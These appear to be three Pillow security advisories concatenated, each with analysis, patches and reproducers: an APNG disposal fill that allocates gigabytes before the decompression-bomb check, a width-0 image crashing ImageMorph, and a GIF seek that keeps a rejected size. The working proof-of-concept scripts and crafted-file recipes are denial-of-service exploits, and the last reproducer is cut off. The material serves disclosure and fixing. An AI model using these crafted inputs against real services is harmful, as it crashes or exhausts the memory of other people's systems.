Below available memory, the allocation is freed when DecompressionBombError propagates, so sustained pressure needs repeated or concurrent uploads. A 45000×45000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (disposeop 0 vs 1). Both end in DecompressionBombError, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 ("Use disposal settings from previous frame", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached.

Details

For an APNG whose first fcTL chunk requests OPBACKGROUND disposal, PngImageFile.open() creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before Image.open() gets to decompressionbombcheck(im.size), so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched.

The following 126-byte file (all chunk lengths and CRCs valid) makes Image.open(io.BytesIO(data)), with default MAXIMAGEPIXELS and no load(), reach 1.86 GB resident (rumaxrss) and then raise DecompressionBombError. The byte-identical file with disposeop=0 raises the same error at 17 MB.

IHDR width=22000 height=22000 bitdepth=8 colourtype=6 (RGBA) acTL numframes=2 numplays=0 fcTL seq=0 w=1 h=1 x=0 y=0 delay=1/10 disposeop=1 (OPBACKGROUND) blendop=0 IDAT zlib(00 00 00 00 00) # one 1x1 RGBA scanline IEND

With width=height=45000 (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB RLIMITAS it fails with MemoryError from the allocator instead of DecompressionBombError; without a cap, on an 8 GB host with no swap, the process is OOM-killed.

Code path

Image.open() runs the bomb check only after the plugin's constructor (and therefore open()) has returned:

python src/PIL/Image.py:3699-3701 im = factory(fp, filename) decompressionbombcheck(im.size) return im

For a plain PNG that ordering is fine: PngImageFile.open() only parses chunks up to the first IDAT and records self.size from IHDR; nothing is allocated from it. For an APNG (acTL seen, so imnframes is set) open() additionally positions on frame 0:

python src/PIL/PngImagePlugin.py:845-853 if self.png.imnframes is not None: … self.seek(0)

seek(0) copies disposal and bbox from the fcTL chunk into self.disposeop / self.disposeextent and then prepares the disposal image for the next frame eagerly, using the full image size:

python src/PIL/PngImagePlugin.py:991-1001 if self.previm is None and self.disposeop == Disposal.OPPREVIOUS: self.disposeop = Disposal.OPBACKGROUND

self.dispose = None if self.disposeop == Disposal.OPPREVIOUS: … elif self.disposeop == Disposal.OPBACKGROUND: self.dispose = Image.core.fill(self.mode, self.size) self.dispose = self.crop(self.dispose, self.disposeextent)

Image.core.fill is fill() in src/imaging.c:711, which does ImagingNewDirty(mode, xsize, ysize) followed by ImagingFill(); ImagingFill (src/libImaging/Fill.c:23) writes every row, so the whole widthheight4 bytes become resident rather than merely reserved. self.size here is the IHDR size (22000×22000), not the 1×1 frame rectangle. The crop on the next line does call decompressionbombcheck, but on the fcTL rectangle (1×1) and only after the fill has completed. Lines 991-992 rewrite OPPREVIOUS to OPBACKGROUND on frame 0, so disposeop=2 takes the same path (verified: identical 1.86 GB peak). When the first fcTL rectangle is large, the crop copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000×13000 full-frame fcTL (below the error threshold, so Image.open() succeeds with only a DecompressionBombWarning) peaks at 1.31 GB for a 0.66 GB canvas.

The only validation chunkfcTL applies (src/PIL/PngImagePlugin.py:740-745) is that the frame rectangle fits inside the IHDR size, which a 1×1 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to opencore, decompressionbombcheck((22000, 22000)) raises, and the 1.9 GB core image is released when the half-constructed PngImageFile is discarded.

The eager full-size fill in seek() was introduced in 5e4e0fa6ee67 ("Use disposal settings from previous frame", 2020-12-24) and first shipped in 8.1.0; before it, the OPBACKGROUND fill lived in loadend() and could not be reached from Image.open().

Impact

Any application that calls Image.open() on untrusted bytes with default settings — the configuration in which the decompression-bomb check is supposed to make that call cheap and safe — can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without load(), frame iteration, or LOADTRUNCATEDIMAGES. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host's free memory cause a transient multi-GB spike per request (≈15,000,000× amplification at 22000×22000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes accept and chunk CRC checks as a well-formed APNG.

This is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile — an allocation sized from file-declared numbers on a path decompressionbombcheck does not cover — but here the uncovered path is Image.open() itself rather than a later load()/seek().

Reproducing

repro is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain Image.open(io.BytesIO(data)) in a fresh child interpreter using default settings and no load(), and has each child report the exception it got and its own peak RSS (rumaxrss). It needs about 2 GB of free RAM and finishes in about a second.

The two files are 126 bytes each and differ in exactly one byte, the disposeop of the first fcTL chunk: 0 (OPNONE) for the control and 1 (OPBACKGROUND) for the attack. Both declare IHDR 22000×22000 RGBA. That is 484 Mpixel, above the 2×MAXIMAGEPIXELS error threshold, so Image.open() has to reject both with DecompressionBombError. Each chunk has a job:

- The acTL chunk (2 frames) makes open() call seek(0). - The 1×1 fcTL rectangle passes chunkfcTL's bounds check and crop's bomb check. - The one-scanline IDAT ends header parsing.

Expected output on this tree:

126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults control disposeop=0 OPNONE -> DecompressionBombError peak RSS 17 MB attack disposeop=1 OPBACKGROUND -> DecompressionBombError peak RSS 1864 MB Image.open() touched a full 22000x22000 canvas before the bomb check ran BUG

Both files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after Image.core.fill("RGBA", (22000, 22000)) has allocated and zero-filled about 1.9 GB. The script prints BUG if the attack child's peak RSS is at least 1000 MB and at least 20× the control's, or if the attack child is killed by SIGKILL (for example by the OOM killer on a small host). Otherwise it prints OK; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in OK. With either attached patch applied, both children report about 17–22 MB and the script prints OK.

The allocation grows with the header, so it can be scaled by changing SIZE in the script. The 45000×45000 case (an 8.1 GB canvas) is covered in Details and is not part of the script.

Suggested fix

Do not build the OPBACKGROUND disposal image from the declared size during open(). Two alternative patches are attached; both change only src/PIL/PngImagePlugin.py, and both add the same regression test to Tests/testfileapng.py (a 2³¹−1 × 1 APNG built in memory with a 1×1 OPBACKGROUND first frame must make Image.open() raise DecompressionBombError; on the current tree the fill fails first with MemoryError). Attached patch 1 is the preferred fix.

Attached patch 1 moves the fill to its only point of use, the frame > 0 branch of seek() right after self.load() — which can only run once Image.open() has returned (bomb check passed) and the canvas itself has been allocated — and, as GifImagePlugin already does, fills only the previous frame's dispose extent instead of a full canvas that is then cropped:

diff --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile): # ensure previous frame was loaded self.load() + if self.disposeop == Disposal.OPBACKGROUND: + # Created here rather than in the previous seek(), so that + # nothing is allocated from the declared image size before + # the decompression bomb check in Image.open() has run. + # Only dispose the extent of the previous frame. + x0, y0, x1, y1 = self.disposeextent + self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0)) if self.dispose: self.im.paste(self.dispose, self.disposeextent) self.previm = self.im.copy() @@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile): if self.previm: self.dispose = self.previm.copy() self.dispose = self.crop(self.dispose, self.disposeextent) - elif self.disposeop == Disposal.OPBACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self.crop(self.dispose, self.disposeextent)

At that point self.disposeop and self.disposeextent still hold the previous frame's values (they are reassigned further down in seek), so disposal semantics are unchanged; the OPPREVIOUS copy stays eager because loadend() pastes into previm in place (src/PIL/PngImagePlugin.py:1110). With this patch Image.open() allocates nothing from the declared size, including in the DecompressionBombWarning range.

Attached patch 2 is a smaller diff that keeps the eager disposal setup in seek() and mirrors GifImagePlugin.seek()'s OPBACKGROUND handling exactly: it computes the size of the fcTL rectangle (already validated by chunkfcTL to lie within the image), runs Image.decompressionbombcheck() on it, and fills an image of only that size instead of filling self.size and cropping. It also narrows the disposeextent annotation to tuple[int, int, int, int] so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside Image.open() — up to about 2×MAXIMAGEPIXELS×4 bytes (660 MB for a 13000×13000 full-frame fcTL, with DecompressionBombWarning) — and a first fcTL covering a canvas above the error threshold now raises DecompressionBombError from seek(0) rather than from Image.open()'s own check.

With either patch applied to a clean checkout, the reproducer prints OK and all 54 files in Tests/images/apng/ decode byte-identically frame by frame, including after a rewind.

The patch (1 of 2)

Create the APNG OPBACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in open() from the IHDR size

Applies to src/PIL/PngImagePlugin.py at the commit above.

diff diff --git a/Tests/testfileapng.py b/Tests/testfileapng.py index 15689476c..6e61c8b4b 100644 --- a/Tests/testfileapng.py +++ b/Tests/testfileapng.py @@ -161,6 +161,37 @@ def testapngdisposeopbackgroundpmode() -> None: assert im.size == (128, 64) +def testapngdisposeopbackgrounddecompressionbomb() -> None: + # The disposal image must not be created from the declared image size + # before the decompression bomb check in Image.open() has run. + # A canvas this wide cannot be allocated, so if it is attempted, + # a MemoryError is raised instead of a DecompressionBombError. + o16 = PngImagePlugin.o16 + o32 = PngImagePlugin.o32 + + b = BytesIO() + b.write(PngImagePlugin.MAGIC) + PngImagePlugin.putchunk(b, b"IHDR", o32(231 - 1), o32(1), b"\x08\x06\x00\x00\x00") + PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0)) + PngImagePlugin.putchunk( + b, + b"fcTL", + o32(0), # sequence number + o32(1), # width + o32(1), # height + o32(0), # x offset + o32(0), # y offset + o16(1), # delay numerator + o16(10), # delay denominator + bytes([PngImagePlugin.Disposal.OPBACKGROUND, PngImagePlugin.Blend.OPSOURCE]), + ) + PngImagePlugin.putchunk(b, b"IDAT") + PngImagePlugin.putchunk(b, b"IEND") + + with pytest.raises(Image.DecompressionBombError): + Image.open(b) + + def testapngblend() -> None: with Image.open("Tests/images/apng/blendopsourcesolid.png") as im: assert isinstance(im, PngImagePlugin.PngImageFile) diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py index 0eb2fd5e4..24fa587c1 100644 --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile): # ensure previous frame was loaded self.load() + if self.disposeop == Disposal.OPBACKGROUND: + # Created here rather than in the previous seek(), so that + # nothing is allocated from the declared image size before + # the decompression bomb check in Image.open() has run. + # Only dispose the extent of the previous frame. + x0, y0, x1, y1 = self.disposeextent + self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0)) if self.dispose: self.im.paste(self.dispose, self.disposeextent) self.previm = self.im.copy() @@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile): if self.previm: self.dispose = self.previm.copy() self.dispose = self.crop(self.dispose, self.disposeextent) - elif self.disposeop == Disposal.OPBACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self.crop(self.dispose, self.disposeextent) def tell(self) -> int: return self.frame

The patch (2 of 2)

Bomb-check and fill only the fcTL extent for APNG OPBACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile.seek()

Applies to src/PIL/PngImagePlugin.py at the commit above.

diff diff --git a/Tests/testfileapng.py b/Tests/testfileapng.py index 15689476c..6e61c8b4b 100644 --- a/Tests/testfileapng.py +++ b/Tests/testfileapng.py @@ -161,6 +161,37 @@ def testapngdisposeopbackgroundpmode() -> None: assert im.size == (128, 64) +def testapngdisposeopbackgrounddecompressionbomb() -> None: + # The disposal image must not be created from the declared image size + # before the decompression bomb check in Image.open() has run. + # A canvas this wide cannot be allocated, so if it is attempted, + # a MemoryError is raised instead of a DecompressionBombError. + o16 = PngImagePlugin.o16 + o32 = PngImagePlugin.o32 + + b = BytesIO() + b.write(PngImagePlugin.MAGIC) + PngImagePlugin.putchunk(b, b"IHDR", o32(231 - 1), o32(1), b"\x08\x06\x00\x00\x00") + PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0)) + PngImagePlugin.putchunk( + b, + b"fcTL", + o32(0), # sequence number + o32(1), # width + o32(1), # height + o32(0), # x offset + o32(0), # y offset + o16(1), # delay numerator + o16(10), # delay denominator + bytes([PngImagePlugin.Disposal.OPBACKGROUND, PngImagePlugin.Blend.OPSOURCE]), + ) + PngImagePlugin.putchunk(b, b"IDAT") + PngImagePlugin.putchunk(b, b"IEND") + + with pytest.raises(Image.DecompressionBombError): + Image.open(b) + + def testapngblend() -> None: with Image.open("Tests/images/apng/blendopsourcesolid.png") as im: assert isinstance(im, PngImagePlugin.PngImageFile) diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py index 0eb2fd5e4..0111a17d7 100644 --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile): msg = "image not found in APNG frame" raise EOFError(msg) if disposeextent: - self.disposeextent: tuple[float, float, float, float] = disposeextent + self.disposeextent: tuple[int, int, int, int] = disposeextent # setup frame disposal (actual disposal done when needed in the next seek()) if self.previm is None and self.disposeop == Disposal.OPPREVIOUS: @@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile): self.dispose = self.previm.copy() self.dispose = self.crop(self.dispose, self.disposeextent) elif self.disposeop == Disposal.OPBACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self.crop(self.dispose, self.disposeextent) + # only dispose the extent in this frame, rather than filling an + # image of the declared size before Image.open() has been able to + # run the decompression bomb check + x0, y0, x1, y1 = self.disposeextent + disposesize = (x1 - x0, y1 - y0) + + Image.decompressionbombcheck(disposesize) + self.dispose = Image.core.fill(self.mode, disposesize) def tell(self) -> int: return self.frame

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 3,564 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 """ Image.open() on a 126-byte APNG allocates and zero-fills a full canvas of the header-declared size before Pillow's decompression-bomb check rejects it.

We build two PNGs that are identical except for one byte, the first fcTL chunk's disposeop:

control: disposeop = 0 (OPNONE) attack: disposeop = 1 (OPBACKGROUND)

Both declare 22000x22000 RGBA (484 Mpixel, above the 2 MAXIMAGEPIXELS error threshold), so Image.open() must reject both with DecompressionBombError -- and that check exists precisely so the rejection is cheap. For the attack file, PngImageFile.open() -> seek(0) first runs Image.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the bomb check reached.

Each file is opened in a fresh interpreter that reports its own peak RSS. """ import struct import subprocess import sys import zlib

SIZE = 22000 # 22000 22000 4 bytes = 1.94 GB canvas

def chunk(cid, data): crc = zlib.crc32(cid + data) return struct.pack(">I", len(data)) + cid + data + struct.pack(">I", crc)

def buildapng(disposeop): ihdr = struct.pack(">IIBBBBB", SIZE, SIZE, 8, 6, 0, 0, 0) # 8-bit RGBA actl = struct.pack(">II", 2, 0) # animated: 2 frames -> open() calls seek(0) # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check), # delay 1/10 s, the disposeop under test, blendop 0 fctl = struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 10, disposeop, 0) idat = zlib.compress(b"\x00" + b"\x00\x00\x00\x00") # one 1x1 RGBA scanline return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"acTL", actl) + chunk(b"fcTL", fctl) + chunk(b"IDAT", idat) + chunk(b"IEND", b""))

What an application does with an untrusted upload: Image.open() with default settings, no load(). Prints the outcome and this process's peak RSS in MB. OPENUNTRUSTED = """ import io, resource, sys from PIL import Image try: Image.open(io.BytesIO(sys.stdin.buffer.read())) outcome = "opened" except Exception as e: outcome = type(e).name print(outcome, resource.getrusage(resource.RUSAGESELF).rumaxrss // 1024) """

def openinchild(data): p = subprocess.run([sys.executable, "-c", OPENUNTRUSTED], input=data, captureoutput=True, timeout=60) if p.returncode == -9: # SIGKILL: OOM-killed on a small host -- also the bug return "oom-killed(rc=-9)", None if p.returncode != 0: # anything else is a harness failure, not evidence print(p.stdout.decode(), p.stderr.decode(), sep="\n") print("child failed unexpectedly (rc=%d)" % p.returncode) print("OK") sys.exit(1) outcome, peakmb = p.stdout.split() return outcome.decode(), int(peakmb)

control = buildapng(disposeop=0) attack = buildapng(disposeop=1)

coutcome, cmb = openinchild(control) aoutcome, amb = openinchild(attack)

print("%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults" % (len(attack), SIZE, SIZE)) print(" control disposeop=0 OPNONE -> %-22s peak RSS %5s MB" % (coutcome, cmb)) print(" attack disposeop=1 OPBACKGROUND -> %-22s peak RSS %5s MB" % (aoutcome, amb))

Expected: both rejected at roughly interpreter size. Bug: the attack file made the "cheap" rejection cost a full-size canvas (or killed the process). if amb is None or (amb >= 1000 and amb >= 20 cmb): print("Image.open() touched a full %dx%d canvas before the bomb check ran" % (SIZE, SIZE)) print("BUG") else: print("OK") </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.

Details The PPM parser reads width and height with no lower-bound check:

- src/PIL/PpmImagePlugin.py:119

The native apply() writes the row edges with no guard that the width is positive:

- src/imagingmorph.c:81 sets outrow[0] = outrow[width - 1] = 0;

match() and getonpixels() use the same edge-indexing pattern.

PoC python from PIL import Image, ImageMorph

A width-0 image (also producible from a crafted PPM header). apply() indexes outrow[width - 1] == outrow[-1] in native code. im = Image.new("L", (0, 5)) ImageMorph.MorphOp(opname="dilation4").apply(im)

Run it: $ python 03poc.py Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96.

Under AddressSanitizer: ==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply) #0 apply src/imagingmorph.c:81 SUMMARY: AddressSanitizer: SEGV src/imagingmorph.c:81 in apply With width 0 the outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.

Impact Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================ GIF seek keeps rejected size after DecompressionBombError, allowing DoS Location: src/PIL/GifImagePlugin.py:293 in GifImageFile.seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.

The bug is in GifImageFile.seek() (src/PIL/GifImagePlugin.py:292-294). When a frame's extent enlarges the image, the code assigns the new size to self.size and only then calls Image.decompressionbombcheck(). Nothing restores the old size when DecompressionBombError is raised, because seek() only rolls back on EOFError. After the caught error, im.size reports the rejected size while the pixel buffer im.im is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.

In the attached reproducer, the rejected size is 40000×40000. A retried seek(1) followed by load() then reaches loadprepare(), which calls Image.core.fill() with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. Image.new("RGB", im.size, ...) and rotate(..., expand=True) also allocate from the stale size.

The default paths are unaffected: plain Image.open() plus load(), ImageSequence.Iterator, and nframes/isanimated. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.

Details

GifImageFile.seek() lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only after storing it on the object:

python src/PIL/GifImagePlugin.py:289-294 (GifImageFile.seek) x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and updateimage: self.size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated Image.decompressionbombcheck(self.size) # ...then validated

decompressionbombcheck() (src/PIL/Image.py:3586) raises DecompressionBombError for anything above 2 MAXIMAGEPIXELS (178 956 970 px by default), but by then self.size already holds the rejected value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls back on EOFError, and seek(0) only ever grows size. The object that the application still holds therefore reports im.size == (40000, 40000) while im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (GifImagePlugin.py:383 and :407), which call decompressionbombcheck(disposesize) before the corresponding Image.core.fill(), and TiffImagePlugin.loadprepare() (src/PIL/TiffImagePlugin.py:1319-1321), which checks tilesize before allocating from it.

With this 60-byte GIF (hex)

47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette 2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data 2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0) 2c000000000100010000 02 024401 00 another 1x1 frame 3b trailer

Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000), im.im.size == (1, 1), im.tell() == 0.

What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from im.size rather than from the C buffer:

- Retrying im.seek(1). The failed seek left self.offset == 0 and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows — in the file above, a valid 1×1 frame — and succeeds. im.load() then runs GifImageFile.loadprepare(): python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in ("RGB", "RGBA"): self.previm = self.im if self.framepalette: self.im = Image.core.fill("P", self.size, self.frametransparency or 0) which allocates and memsets a 40000×40000 "P" image (1.6 GB) to decode a 1×1 tile into, and loadend() (GifImagePlugin.py:485-491) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). - im.rotate(angle, expand=True) for a non-multiple-of-90 angle, or the common flatten-onto-background idiom Image.new("RGB", im.size, bg), allocate from im.size as well (measured on an object poisoned to 20000×20000: rotate(45, expand=True) completes and touches 776 MiB; Image.new("RGB", im.size, "white") touches 1.5 GiB). Operations that pass im.size as a box against the real buffer (thumbnail, resize, save) fail with ValueError/SystemError instead.

The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA" storage), 96× the error threshold.

nframes / isanimated are not affected: they call seek(frame, updateimage=False), which skips the size assignment (the file above reports nframes == 2, isanimated == True and leaves im.size at 1×1).

Impact

A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from seek() — a broad except Exception around a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit except DecompressionBombError: log and continue — and then keeps using the same Image object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: MemoryError after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The MAXIMAGEPIXELS guard fires, but does not actually keep the rejected dimensions out of the object it is guarding.

The precondition is real application behaviour but not the default path: Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates the error out of the for statement (a try inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late.

Reproducing

repro is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM.

1. setupenv() caps the process address space at 3 GiB with RLIMITAS, so the oversized allocations end in MemoryError instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by bombgif(). The GIF contains a 1×1 screen and a 1×1 frame 0, so Image.open() passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error threshold). A real 1×1 frame follows it. 2. poc() calls im.seek(1) and catches DecompressionBombError, the way an application that skips bad frames would. 3. First check: the state is inconsistent. The script prints im.size next to the real pixel buffer im.im.size. If the rejected frame had left the object unchanged, both would be (1, 1). On the affected code im.size is (40000, 40000). 4. Second check: memory use. The script retries im.seek(1), which now parses the trailing 1×1 frame, and calls im.load(). It prints the process's peak RSS before and after. loadprepare() sizes its Image.core.fill() from im.size, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation.

Expected output on the affected tree:

open(): 60-byte GIF, size=(1, 1) seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1) seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB BUG

The script prints BUG only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1×1 frame. Otherwise it prints OK. With the attached patch applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the last line is OK.

Suggested fix

The attached patch validates before mutating in GifImageFile.seek() (src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a local, passed to decompressionbombcheck(), and only then assigned to self.size, matching the order of the two disposesize checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point:

diff --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and updateimage: - self.size = max(x1, self.size[0]), max(y1, self.size[1]) - Image.decompressionbombcheck(self.size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image.decompressionbombcheck(size) + self.size = size framedisposeextent = x0, y0, x1, y1 flags = s[8]

nframes / isanimated go through updateimage=False and are unaffected. The patch also extends testexceptiongifextents in Tests/testdecompressionbomb.py to assert that im.size is unchanged after the DecompressionBombError. It does not change seek() itself; optionally, seek() could also treat DecompressionBombError like EOFError and re-seek to lastframe, so that a retried seek() does not resume parsing from the middle of the rejected frame.

The patch

GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self.size

Applies to src/PIL/GifImagePlugin.py at the commit above.

diff diff --git a/Tests/testdecompressionbomb.py b/Tests/testdecompressionbomb.py index 98d833736..83cc785fc 100644 --- a/Tests/testdecompressionbomb.py +++ b/Tests/testdecompressionbomb.py @@ -63,6 +63,9 @@ class TestDecompressionBomb: with pytest.raises(Image.DecompressionBombError): im.seek(1) + # The rejected frame should not have changed the image size + assert im.size == (100, 100) + def testexceptiongifzerowidth(self, monkeypatch: pytest.MonkeyPatch) -> None: # Set limit to trigger exception on the test file monkeypatch.setattr(Image, "MAXIMAGEPIXELS", 4 64 128) diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..f9bda06c2 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and updateimage: - self.size = max(x1, self.size[0]), max(y1, self.size[1]) - Image.decompressionbombcheck(self.size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image.decompressionbombcheck(size) + self.size = size framedisposeextent = x0, y0, x1, y1 flags = s[8]

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 2,474 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 GifImageFile.seek() stores a frame's enlarged size in self.size and only then runs the decompression-bomb check. The check raises, but the object keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the next load() allocates from that size: 1.6+ GB for a 60-byte GIF. import io import resource import struct

from PIL import Image

BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold LIMIT = 2 Image.MAXIMAGEPIXELS

def frame1x1(): # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"

def bombgif(): return ( b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" 3 + b"\xff" 3 + frame1x1() # frame 0: 1x1, passes open() + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0) # frame 1 claims 40000x40000 + frame1x1() # a real 1x1 frame follows + b";" )

def peakrssmib(): return resource.getrusage(resource.RUSAGESELF).rumaxrss // 1024

